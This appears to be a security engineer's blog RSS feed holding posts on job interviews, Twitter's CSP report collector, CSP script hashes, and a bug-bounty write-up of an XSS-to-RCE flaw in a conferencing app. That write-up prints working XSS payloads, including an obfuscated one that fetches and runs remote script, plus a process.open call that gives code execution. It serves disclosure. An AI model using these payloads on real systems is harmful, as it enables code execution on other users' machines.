&lt;p&gt;It’s just awful timing that I’m being vocal about all of this in light of the recent &lt;a href=&quot;https://www.askamanager.org/2022/01/the-new-hire-who-showed-up-is-not-the-same-person-we-interviewed.html&quot;&gt;“the new hire who showed up is not the same person we interviewed”&lt;/a&gt; article.&lt;/p&gt;

&lt;h2 id=&quot;accommodations&quot;&gt;Accommodations&lt;/h2&gt;

&lt;p&gt;I fall apart in live coding challenges in general, and every company but one was willing to adapt their process. I use “accommodation” very intentionally because they went out of their way to make me feel more comfortable. I think it’s a win/win because I know plenty of people who cannot perform well in these interviews. But it can be seen as unfair to others who didn’t get the same opportunity. Also, each one of the four that changed their processes on my behalf had to scramble to come up with something different. I was a test pilot for their new way of interviews.&lt;/p&gt;

&lt;h2 id=&quot;accomodations&quot;&gt;“Accomodations”&lt;/h2&gt;

&lt;p&gt;The worst was a company that took their live coding challenge and turned it into “you can drop off zoom.” In their defense, I agreed to this and thought it would work. It didn’t. I fell apart. 1-hour limit. No advance preparation. Granted, I wasted too much time trying to leverage a library that I had trouble remembering how to use when simple calculations would have worked… and I could have jumped back on zoom with questions… but I didn’t and I flopped hard. The recruiter reached out with something along the lines of “what happened?” and I just said it felt just like any other live coding challenge and that I appreciated the attempt.&lt;/p&gt;

&lt;h2 id=&quot;what-am-i-interviewing-for&quot;&gt;What am I interviewing for?&lt;/h2&gt;

&lt;p&gt;Live coding is not real life. There is no situation where someone will drop a surprise on my plate and say perform at exactly this time or else you don’t work here.&lt;/p&gt;

&lt;p&gt;Live coding is not pairing. Your partner my not be helpful. They can’t just &lt;em&gt;give&lt;/em&gt; you the answer. You can validate things with them and ask leading questions but it’s still a game and it sucks. Unless you primarily operate with pair programming, I don’t see how this is remotely applicable.&lt;/p&gt;

&lt;p&gt;Live coding is nerve wracking. I perform well remotely because I can create a distraction free environment. I might even &lt;em&gt;gasp&lt;/em&gt; close slack. Having someone figuratively watching over my shoulder does not make me feel comfortable.&lt;/p&gt;

&lt;p&gt;Live coding exercises are &lt;em&gt;more&lt;/em&gt; contrived and trivial or unrealistic. Maybe not all coding exercises need to result in a solution, but that’s how I’ve operated. Take-homes aren’t much different here, but they seem to be a little more about design and implementation.&lt;/p&gt;

&lt;h2 id=&quot;the-perfect-interview&quot;&gt;The perfect interview&lt;/h2&gt;

&lt;h3 id=&quot;take-home&quot;&gt;Take home&lt;/h3&gt;

&lt;p&gt;It’s in the title. I want to block off some time of my choosing to take it on. I like to think about things before diving into code in real life. While I do chores, my morning routine, etc. Take-home challenges typically come with a time limit and a window of completion e.g. “spend 2-5 hours within a 48-hour window.” In most cases, the honor system is used, but some technically enforce this.&lt;/p&gt;

&lt;p&gt;Coming from a management role, I really enjoy these challenges :smile:. They are simple enough that I don’t need to dig deep, interesting enough that I might try and over-engineer a thing or two, and small enough that I might put an extra amount of attention to detail.&lt;/p&gt;

&lt;h3 id=&quot;an-actual-repo&quot;&gt;An actual repo&lt;/h3&gt;

&lt;p&gt;On GitHub. Let me show you more than code. More than a commit history. I want to show you pull requests. Yes, I will comment on my own PRs in real life.&lt;/p&gt;

&lt;h3 id=&quot;dont-review-my-submission-perform-a-code-review&quot;&gt;Don’t review my submission, perform a code review&lt;/h3&gt;

&lt;p&gt;One of the more interesting opportunities had me create a PR and more or less pretended like it was real life. This was the same opportunity that invited me to a private slack channel. It truly felt like what real life would be. Our back and forth spanned over a few days and our slack conversations have continued beyond the duration of the coding part of the challenge.&lt;/p&gt;

&lt;h3 id=&quot;technical-and-written-challenge&quot;&gt;Technical AND written challenge&lt;/h3&gt;

&lt;p&gt;One of the most significant reported drawbacks of take-home interviews is that you don’t get to see how the person thinks or gets over hurdles. That can be done with a written component. Give me a problem that is far too big for the time to be completed, but ask me to describe how I would have approached the things I couldn’t get done.&lt;/p&gt;

&lt;p&gt;Then ask follow-up questions. How would the design or implementation change if this were in a web context? If it had to scale to infinity? How would you have prevented the Byzantine empire from falling? I should be able to convey my thoughts concisely in issue comments. Just like PRs, I am fine talking to myself in issue comments.&lt;/p&gt;

&lt;h3 id=&quot;able-to-ask-questions-at-any-time&quot;&gt;Able to ask questions at any time&lt;/h3&gt;

&lt;p&gt;After thinking about things, I’ll generally have some questions. Ambiguities are common, and edge cases are a big thing in interviews. One opportunity was run by someone who was on the east coast. At the end of my day, I dropped an email and found a thorough response at the beginning of the following day.&lt;/p&gt;

&lt;h3 id=&quot;slack&quot;&gt;Slack?&lt;/h3&gt;

&lt;p&gt;One opportunity dropped me into a private slack channel with the people I’d be working most closely with and the hiring manager. Everyone greeted me, and we talked about their (brand new) challenge. Ultimately, we escalated to a video chat which I thought was funny.&lt;/p&gt;

&lt;h3 id=&quot;test-data&quot;&gt;Test data&lt;/h3&gt;

&lt;p&gt;Don’t give me a comprehensive set of data, but a basic “does this thing work” set of input and expected output can really get things going. It can also help answer any questions around expected output in an obvious manner.&lt;/p&gt;

&lt;h3 id=&quot;repo-template&quot;&gt;Repo template&lt;/h3&gt;

&lt;p&gt;This is specific to job opportunities that want to test knowledge of a limited set of languages. Rails shop? What testing framework do you use? What’s your coding style? Anything else? I’ll speak your language, but I don’t want someone to be thrown off because they have strong opinions about my style. I don’t think anyone would discount code because someone used the wrong quote style, but I want to show that I can produce code that would immediately pass a code review.&lt;/p&gt;

&lt;h2 id=&quot;the-problems-with-my-perfect-interview&quot;&gt;The problems with my perfect interview&lt;/h2&gt;

&lt;p&gt;I’ve already mentioned that I was the first to go through this process with some job opportunities. Previous and current applicants might not have known to request such accommodation. Fairness, at least during the transitionary period is a problem, and I don’t want to ignore that. But it is transitory as I think accommodating both styles is the future.&lt;/p&gt;

&lt;p&gt;Live coding exercises can give you a quick glimpse into how people use google (half kidding) in a concise amount of time for both parties. I have lots of time. Being unemployed means I can manage a handful of these at once.&lt;/p&gt;

&lt;h3 id=&quot;my-time&quot;&gt;My time&lt;/h3&gt;

&lt;p&gt;Live coding challenges take an hour, take-home exercises are expected to take 2-5 or even more. Not only can I devote time behind a keyboard, but I also have time to think about things casually. It may lead to me looking something up ahead of time to apply something less familiar. These problems are often contrived and don’t accurately reflect web programming. &lt;strong&gt;Not everyone has this luxury&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I had enough time to create a basic repo template since most of these involved some sort of CLI. Prepared with unit/acceptance/linter/etc. GitHub actions ready. In Codespaces. With my settings synced.&lt;/p&gt;

&lt;h3 id=&quot;your-time&quot;&gt;Your time&lt;/h3&gt;

&lt;p&gt;A live coding exercise can prove that someone can write code and solve problems. It’s not very deep or demonstrative but plenty find it adequate to make decisions. A take-home challenge typically involves more setup and evaluation time. Especially if you’ve checked all of the boxes on my perfect interview!&lt;/p&gt;

&lt;p&gt;Because of the expanded time, there is typically more code to review. If you’re like me and had a repo template with all the bells and whistles, then you might be presented with a lot of things that aren’t exactly the code you are looking for.&lt;/p&gt;

&lt;p&gt;If you’ve added a written section, you have a reading assignment. I do my best to use precise language in a business context. Still, I’m not immune from typos or submitting an obvious error. As you get to know people and their communication styles, it can help reduce confusion. Generally, you don’t necessarily know the people you’re interviewing with and trying to decipher potential nonsense can take energy.&lt;/p&gt;
</description>
        <pubDate>Sun, 06 Feb 2022 17:28:00 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/02/06/the-perfect-interview-for-me.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/02/06/the-perfect-interview-for-me.html</guid>
        
        
        <category>jobs</category>
        
      </item>
    
      <item>
        <title>Documenting my job search</title>
        <description>&lt;p&gt;I recently started a job search after leaving GitHub in November of 2021. I’ve tweeted about it, a lot. I was somewhat inspired by &lt;a href=&quot;https://twitter.com/engineering_bae&quot;&gt;Taylor Poindexter’s&lt;/a&gt; search where should would post updates to Twitter about the search. She posted very opinionated statements that I’m sure attracted some unwelcome attention. I agreed with practically everything she was saying. The way she set boundaries and communicated what it takes to earn someone like her was frankly inspiring.&lt;/p&gt;

&lt;p&gt;I don’t have the personality that Taylor has. I’m also prone to posting bad hot takes. I’m ok with that, I learn, but I’m currently comfortable with my level of bad hot takes. I have done some tweeting and frankly I’d want to unfollow me. So a blog post format is probably going to satisfy my desire to get things out in words without shouting at people covering their ears.&lt;/p&gt;

&lt;p&gt;Anyhow, each post will be on a single topic. I started writing a mega post but when it came time to form things in a coherent message with logical ordering, I wanted to quit. So instead, short bursts of related items as standalone thoughts that just happen to be related to a similar event.&lt;/p&gt;
</description>
        <pubDate>Wed, 26 Jan 2022 17:28:00 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/01/26/the-job-hunt.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/01/26/the-job-hunt.html</guid>
        
        
        <category>jobs</category>
        
      </item>
    
      <item>
        <title>XSS to RCE in ...</title>
        <description>&lt;p&gt;&lt;strong&gt;Note: this has been fixed&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;xss-to-rce-yeah-right-rsnake&quot;&gt;XSS to RCE “yeah right, RSnake”&lt;/h2&gt;

&lt;p&gt;I accidentally triggered a cross-site scripting (XSS) vulnerability in &amp;lt;conf provider X&amp;gt; that worked when using the web application as well as the native OS X application (and possibly additional clients). Nowadays, XSS -&amp;gt; Remote Code Execution (RCE) is possible thanks to Node. For every person in any meeting that I join, I could execute code on their computer.&lt;/p&gt;

&lt;h1 id=&quot;standup&quot;&gt;Standup&lt;/h1&gt;

&lt;p&gt;I entered a meeting with the classic first name of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src=x onerror=alert()&amp;gt;&lt;/code&gt; (the &lt;a href=&quot;http://xkcd.com/327/&quot;&gt;bobby tables&lt;/a&gt; of XSS). A few minutes into the conversation, &lt;a href=&quot;https://twitter.com/patricktoomey&quot; title=&quot;@patricktoomey&quot;&gt;patrick&lt;/a&gt; noticed a broken image pop up. Uh oh. When I asked if he also saw an alert box, my colleague &lt;a href=&quot;https://twitter.com/mastahyeti&quot; title=&quot;@mastahyeti&quot;&gt;ben&lt;/a&gt; chimed in and said yes.&lt;/p&gt;

&lt;p&gt;So we have XSS. Sweet. In at least two clients. Hmmm, this could be bad.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/xssrce/badtime.jpg&quot; alt=&quot;chat&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;evalprompt&quot;&gt;eval(prompt())&lt;/h2&gt;

&lt;p&gt;We noticed that there was some filtering going on (such as stripping quotes), so we’d have to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;String.toCharCode&lt;/code&gt; to generate any string values. The web app enforced a value length but this is easily bypassed with a proxy and was not enforced in the desktop client. &lt;a href=&quot;https://twitter.com/mastahyeti&quot; title=&quot;@mastahyeti&quot;&gt;ben&lt;/a&gt; quickly came up with a good way to explore the impact of this xss with a simple debug console:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src=x onerror=eval(prompt())&amp;gt;&lt;/code&gt; (35 chars)&lt;/p&gt;

&lt;p&gt;This lets us generate payloads without having to generate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toCharCode&lt;/code&gt; code each time. Sure this isn’t difficult, but an executing prompt is so much easier to use.&lt;/p&gt;

&lt;h2 id=&quot;exploring-the-native-app&quot;&gt;Exploring the native app&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/gose1&quot; title=&quot;@gose1&quot;&gt;greg&lt;/a&gt; took a look at the &amp;lt;conf provider X&amp;gt; native application and noticed it used Node. Perhaps &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process.open&lt;/code&gt; would work.&lt;/p&gt;

&lt;p&gt;It did.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/xssrce/process.png&quot; alt=&quot;chat&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;/h2&gt;

&lt;p&gt;That’s when &lt;a href=&quot;https://twitter.com/mastahyeti&quot; title=&quot;@mastahyeti&quot;&gt;ben&lt;/a&gt; put everything together using a very short payload:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src=x onerror=$.getScript(String.fromCharCode(47,47,120,111,114,46,99,99))&amp;gt;&lt;/code&gt; (80 chars)&lt;/p&gt;

&lt;p&gt;Now join any existing meeting and enter the above payload as your name. Everyone in the room see an alert box. Those using the native apps will also see their calculators open.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/xssrce/alert.png&quot; alt=&quot;Alert&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/xssrce/calc.png&quot; alt=&quot;Calculator!&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;how-it-works&quot;&gt;How it works&lt;/h2&gt;

&lt;p&gt;The use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;String.fromCharCode&lt;/code&gt; is just a classic way to bypass filtering/escaping of quotes. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;String.fromCharCode(47,47,120,111,114,46,99,99)&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;//xor.cc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The payload can be simplified as:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src=x onerror=$.getScript(&quot;//xor.cc&quot;)&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://api.jquery.com/jquery.getscript/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$.getScript&lt;/code&gt;&lt;/a&gt; tells jQuery to fetch and execute the javascript at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xor.cc&lt;/code&gt;. The fetched javascript that opens the calculator is:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process.open(&quot;/Applications/Calculator.app/Contents/MacOS/Calculator&quot;);&lt;/code&gt; (72 chars)&lt;/p&gt;

&lt;h2 id=&quot;why-it-sort-of-matters&quot;&gt;Why it sort of matters&lt;/h2&gt;

&lt;p&gt;XSS is XSS is XSS. But XSS in an app with an API to the filesystem is XSS is worse. &amp;lt;conf provider X&amp;gt; meetings typically are… unauthenticated. Everyone raise your hand. Now put down your hand if you have required password authentication for every meeting you have joined. Look to your left, look to your right, and notice everyone’s hand is still up. If you’ve used &amp;lt;conf provider X&amp;gt;, chance are you’ve used it in a manner that let’s this exploit work on any publicly known or guessable &amp;lt;conf provider X&amp;gt; meeting ID. I did not try to brute force the meeting space for open meetings. That would have been bad.&lt;/p&gt;

&lt;h2 id=&quot;calculators&quot;&gt;Calculators&lt;/h2&gt;

&lt;p&gt;You can’t have a good exploit unless calculators are involved. See &lt;a href=&quot;https://bounty.github.com/researchers/avlidienbrunn.html&quot;&gt;PDF content-type sniffing&lt;/a&gt; for an even better use of calculators in an attack.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/xssrce/igotcalc.png&quot; alt=&quot;calc!!!&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Big ups to the GitHub appsec team. Within one hour we went from XSS to RCE. And it played out like something in one of those movies or TV shows. “We popped a faux console using eval and prompt while ripping open the binary to leverage a libary with system access to perform remote code execution… to open a calculator.” Most of the credit has to go to &lt;a href=&quot;https://twitter.com/mastahyeti&quot; title=&quot;@mastahyeti&quot;&gt;ben&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/gose1&quot; title=&quot;@gose1&quot;&gt;greg&lt;/a&gt;, I just found XSS and I wouldn’t have even known without &lt;a href=&quot;https://twitter.com/patricktoomey&quot; title=&quot;@patricktoomey&quot;&gt;patrick&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://jobs.lever.co/github/8be6828a-2762-42da-bd11-8306addb0909&quot;&gt;Did I mention that we’re hiring an intern for the appsec team?&lt;/a&gt;&lt;/p&gt;

</description>
        <pubDate>Tue, 08 Sep 2015 17:28:00 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/xss/rce/bugbounty/2015/09/08/xss-to-rce.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/xss/rce/bugbounty/2015/09/08/xss-to-rce.html</guid>
        
        
        <category>xss</category>
        
        <category>rce</category>
        
        <category>bugbounty</category>
        
      </item>
    
      <item>
        <title>Twitter&apos;s CSP Report Collector</title>
        <description>&lt;p&gt;We recently scrapped our previous CSP reporting endpoint and built a custom, single-purposed app. This is highly proprietary and will never be open sourced (do you run scribe, viz, logstash, etc???), but here are the building blocks of the design. This just launched a month or so ago, so I’m sure there is room to improve.&lt;/p&gt;

&lt;h2 id=&quot;normalization&quot;&gt;Normalization&lt;/h2&gt;

&lt;p&gt;The incoming data is very wacky. Various browsers with various levels of maturity with an infinite number versions in the wild create chaos. Here’s a few things we do to normalize the data.&lt;/p&gt;

&lt;p&gt;pologies if some of this is not 100% accurate, I have forgotten the details of these quirks since they have been abstracted away.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Firefox used to add ports to violated-directives and a few other fields. These are rarely useful and muddy the data as it won’t match any other user agent. Strip these unless you run on non-standard ports.&lt;/li&gt;
  &lt;li&gt;Inline content is indicated by a blank blocked-uri, yet many browsers send “self” Change this to “” to be consistent.&lt;/li&gt;
  &lt;li&gt;Strip www from document-uri host values. Unless you serve different content of course.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;send-extra-fields&quot;&gt;Send extra fields&lt;/h2&gt;

&lt;p&gt;The violation report has some data, but not everything I want. You can “smuggle” special values by adding them to the report-uri query string. I suggest adding the following fields:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Application. Where did this come from? Use an opaque ID, or don’t. Revealing this information should not really matter.&lt;/li&gt;
  &lt;li&gt;Was the policy enforced?&lt;/li&gt;
  &lt;li&gt;What was the status code of the page? (might not be too valuable to most, but our reverse proxy replaces content for error pages)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;extract-extra-fields-at-index-time&quot;&gt;Extract extra fields at index time&lt;/h2&gt;

&lt;p&gt;A blocked-uri is nice, but a blocked-host is better. This allows you to group reports much more effectively in logstash. That way, entries for https://www.example.org/* can be grouped as example.org violations. Here are all of the fields we extract:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;blocked-host: the blocked-uri with the scheme, www, port, and path removed (tbh the blocked-uri is otherwise useless and a potential violation of privacy).&lt;/li&gt;
  &lt;li&gt;report-host: the document-uri with the scheme, www, port, and path removed&lt;/li&gt;
  &lt;li&gt;classification&lt;sup&gt;1&lt;/sup&gt; : is this mixed content? inline script? unauthorized_host? this is not an exact science, but it’s useful.&lt;/li&gt;
  &lt;li&gt;path: the path of the document-uri&lt;/li&gt;
  &lt;li&gt;app_name: from the “extra fields above” – helpful if multiple apps are hosted on one domain.&lt;/li&gt;
  &lt;li&gt;report_only – useful coordination and for boss-type people&lt;/li&gt;
  &lt;li&gt;violation-type: the first token in the violated directive – helpful if your policy varies within an app.&lt;/li&gt;
  &lt;li&gt;browser, browser +  major version: take the user-agent, but normalize the values into easily defined buckets. This is very useful for classifying plugin noise.
.  operating system (may indicate malware)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; Pseudo code for the classification:&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/anonymous/3abda54ac971b2f4daaa.js&quot;&gt;&lt;/script&gt;

&lt;h2 id=&quot;filter-noise&quot;&gt;Filter Noise&lt;/h2&gt;

&lt;p&gt;This is probably the most important thing to do, and it builds off of the ideas mentioned above. This is even less of a science than classifying reports. These reports are not counted in most statistics and are not sent to logstash. We still log them, but to a different location and we &lt;em&gt;will&lt;/em&gt; use this data to help browser vendors. Are we overzealous with our filtering? Probably.&lt;/p&gt;

&lt;p&gt;We’re filtering ~80% of our reports!&lt;/p&gt;

&lt;p&gt;We consider anything that we deem as “unactionable” or “too old” as noise. This noise come from plugins mostly, but also comes from other strange sources such as proxy sites that replay our CSP. Strange. The quality of the reports improve over time, so we started filtering out reports that were old than some arbitrary cutoff point in versioning.&lt;/p&gt;

&lt;p&gt;I’ll just drop this bit of scala code for ya. It’s ugly. monads or something. This list grows by the week.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/oreoshake/2c8476f7ecda5fe930b7.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;And here’s a graph of our filtered report data:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;&lt;a href=&quot;/assets/csp-collector/Screen-Shot-2014-08-24-at-11.20.18-AM.png&quot;&gt;&lt;img src=&quot;/assets/csp-collector/Screen-Shot-2014-08-24-at-11.20.18-AM-300x146.png&quot; alt=&quot;Screen Shot 2014-08-24 at 11.20.18 AM&quot; /&gt;&lt;/a&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Reason for being filtered&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;&lt;a href=&quot;/assets/csp-collector/Screen-Shot-2014-08-24-at-11.18.46-AM.png&quot;&gt;&lt;img src=&quot;/assets/csp-collector/Screen-Shot-2014-08-24-at-11.18.46-AM-300x260.png&quot; alt=&quot;Screen Shot 2014-08-24 at 11.18.46 AM&quot; /&gt;&lt;/a&gt;&lt;/th&gt;
      &lt;th&gt; &lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;Legend for the graph of filtered reports&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;now-we-can-get-to-business&quot;&gt;Now we can get to business&lt;/h2&gt;

&lt;p&gt;Now that we’ve normalized and filtered our data, we can get to work! We use logstash to dive into reports. The main feature we use is field extractions where we take all of the “extra fields” to logstash so we can quickly dive into reports.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;&lt;a href=&quot;/assets/csp-collector/LogLens.png&quot;&gt;&lt;img src=&quot;/assets/csp-collector/LogLens-300x155.png&quot; alt=&quot;LogLens&quot; /&gt;&lt;/a&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Logstash reports&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;ok-so-how-do-i-look-at-the-mixed-content-violations-for-twittercom-specifically-the-old-rails-code&quot;&gt;OK, so how do I look at the mixed content violations for twitter.com, specifically the old rails code?&lt;/h2&gt;

&lt;p&gt;I search for:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;classification:”mixed_content” app_name: monorail
 blocked_host:twimg.com OR blocked_host:twitter.com
 violated_directive:script-src app_name:translate.twitter.com&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now I can look at the various fields on the left and keep on digging! Logstash is awesome.&lt;/p&gt;

&lt;h2 id=&quot;now-show-your-work&quot;&gt;Now show your work&lt;/h2&gt;

&lt;p&gt;For each application in our stack, we provided two simple graphs that allow people to take a quick glance at the state of things.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;&lt;a href=&quot;/assets/csp-collector/viz.png&quot;&gt;&lt;img src=&quot;/assets/csp-collector/viz.png&quot; alt=&quot;viz&quot; /&gt;&lt;/a&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Reports by classification and violated directive, per application&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</description>
        <pubDate>Fri, 25 Jul 2014 20:40:49 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/csp/twitter/2014/07/25/twitters-csp-report-collector-design.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/csp/twitter/2014/07/25/twitters-csp-report-collector-design.html</guid>
        
        
        <category>csp</category>
        
        <category>twitter</category>
        
      </item>
    
      <item>
        <title>Automatic XSS Protection With CSP: No Changes Required</title>
        <description>&lt;p&gt;In order to help ease approval for the Content Security Policy &lt;a href=&quot;http://lists.w3.org/Archives/Public/public-webappsec/2013Aug/0031.html&quot;&gt;script-hash proposal&lt;/a&gt;, I created a PoC to demonstrate that this is just as easy as script-nonce. I believe script-hash is an idea that solves some of the shortcomings of script nonce. However, it is significantly more complex. I think that the complexity can be greatly reduced with proper tooling. &lt;a href=&quot;https://github.com/twitter/secureheaders/pull/67&quot;&gt;My PoC branch&lt;/a&gt; aims to prove that this can be practical. I have a &lt;a href=&quot;https://github.com/oreoshake/script_hash_test&quot;&gt;sample application&lt;/a&gt; with all of this in action.&lt;/p&gt;

&lt;h2 id=&quot;hash-nonce-huh&quot;&gt;Hash? Nonce? Huh.&lt;/h2&gt;

&lt;p&gt;CSP is great for restricting inline script. It has received some backlash because to truly leverage the XSS protection provided by CSP, you need to remove all inline javascript (among other tasks). A solution for whitelisting inline content would certainly increase adoption. Here are the differences between the two proposals:&lt;/p&gt;

&lt;h3 id=&quot;script-nonce&quot;&gt;Script nonce&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Content-Security-Policy: script-src &lt;span class=&quot;s1&quot;&gt;&apos;nonce-abc123&apos;&lt;/span&gt;

&amp;lt;script &lt;span class=&quot;nv&quot;&gt;nonce&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;abc123&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;console.log&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Hello world&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;IFF the nonce in the script tag matches the value in the header, the script executes.&lt;/p&gt;

&lt;p&gt;Downside: &lt;em&gt;Protection can be entirely circumvented if you have dynamic javascript&lt;/em&gt;. Caching of dynamic values cause caching issues, not great for massive scale. Using a static value reduces/eliminates protection. Using an easily guessable value is also troublesome.&lt;/p&gt;

&lt;p&gt;Upside: pretty easy to apply&lt;/p&gt;

&lt;h3 id=&quot;script-hash&quot;&gt;Script hash&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Content-Security-Policy: script-src &lt;span class=&quot;s1&quot;&gt;&apos;sha1-&amp;lt;BASE64 ENCODED SHA1 HASH OF THE CONTENTS OF THE SCRIPT TAG&amp;gt;&apos;&lt;/span&gt;

&amp;lt;script &lt;span class=&quot;nv&quot;&gt;nonce&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;abc123&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;console.log&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Hello world&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So in this case, script-src ‘sha1-fU8Y3i83rje0823mI+3hgmqgysc=’&lt;/p&gt;

&lt;p&gt;Downside: moar harder for developers and browsers to implement.&lt;/p&gt;

&lt;p&gt;Upside: if you don’t use dynamic javascript, your code is effectively certified as code that is allowed to execute. Doesn’t cause caching issues. Strength of protection is determined by hash strength and not implementation.&lt;/p&gt;

&lt;h2 id=&quot;script-hash-generation&quot;&gt;Script Hash Generation&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Grab all templates (stuff that turns into html that kinda already looks like html)&lt;/li&gt;
  &lt;li&gt;Iterate over each file and:&lt;/li&gt;
  &lt;li&gt;Grep the code for /(&amp;lt;script([s]&lt;em&gt;(?!src)([w-])+=([“‘])[^”‘]+4)&lt;/em&gt;[s]&lt;em&gt;&amp;gt;)(.&lt;/em&gt;?)(&amp;lt;/script&amp;gt;)/mx&lt;/li&gt;
  &lt;li&gt;Take each match (second to last capture group in this case, ruby 1.8 doesn’t support named capture groups).&lt;/li&gt;
  &lt;li&gt;Hash the value with SHA256 and base64 encode the output.&lt;/li&gt;
  &lt;li&gt;Store the filename and any hashes (e.g. in a YAML file, hash, associative array, whatever). Key: filename, value: array of hashes.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;script-hash-application&quot;&gt;Script hash application&lt;/h2&gt;

&lt;ul&gt;
